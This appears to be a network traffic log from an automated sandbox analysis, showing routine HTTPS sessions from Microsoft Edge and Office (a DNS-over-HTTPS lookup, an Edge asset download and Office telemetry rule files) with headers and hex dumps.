2024-11-28 05:48:31 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 05:48:31 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 09 64 61 74 61 2d 65 64 67 65 0b 73 6d 61 72 74 73 63 72 65 65 6e 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 40 00 0c 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: data-edgesmartscreenmicrosoftcomA)@<
2024-11-28 05:48:31 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 05:48:31 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e9811c7ff4c8c15-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 05:48:31 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 02 00 01 00 01 09 64 61 74 61 2d 65 64 67 65 0b 73 6d 61 72 74 73 63 72 65 65 6e 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 c0 0c 00 05 00 01 00 00 0c 28 00 26 11 70 72 6f 64 2d 61 74 6d 2d 77 64 73 2d 65 64 67 65 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 41 00 05 00 01 00 00 01 2c 00 30 0f 70 72 6f 64 2d 61 67 69 63 2d 6e 63 75 2d 34 0e 6e 6f 72 74 68 63 65 6e 74 72 61 6c 75 73 08 63 6c 6f 75 64 61 70 70 05 61 7a 75 72 65 c0 2c c0 83 00 06 00 01 00 00 00 3c 00 30 06 6e 73 31 2d 30 32 09 61 7a 75 72 65 2d 64 6e 73 c0 2c 06 6d 73 6e 68 73 74 c0 22 00 00 27 11 00 00 03 84 00 00 01 2c 00 09 3a 80 00 00 00 3c 00 00 29 04 d0 00 00 00 00 00 ea 00 0c 00 e6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: data-edgesmartscreenmicrosoftcomA(&prod-atm-wds-edgetrafficmanagernetA,0prod-agic-ncu-4northcentraluscloudappazure,<0ns1-02azure-dns,msnhst"',:<)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49803	13.107.246.63	443	7628	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:31 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 05:48:31 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:31 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 5f8eb5f8-301e-0064-07ed-40d8a7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T054831Z-174f7845968j6t2phC1EWRcfe80000000y2000000000g9fg Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 05:48:31 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-28 05:48:32 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-11-28 05:48:32 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-11-28 05:48:32 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
2024-11-28 05:48:32 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-11-28 05:48:32 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-11-28 05:48:32 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-11-28 05:48:32 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-28 05:48:32 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
2024-11-28 05:48:32 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:31 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:31 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e94c41b0-301e-0000-6d41-41eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054831Z-174f784596886s2bhC1EWR743w0000000y10000000008d79 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:32 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:31 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:31 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 106d127d-401e-008c-1a91-3f86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054831Z-174f784596886s2bhC1EWR743w0000000y0g00000000ak2b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:32 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:31 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:31 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 417b6c53-401e-0029-0d91-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054831Z-174f7845968glpgnhC1EWR7uec0000000y6000000000672u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:32 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:31 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:31 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 8ffa3a67-401e-0078-2e55-404d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054831Z-174f7845968l4kp6hC1EWRe8840000000y7g000000009b8f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:32 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:32 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
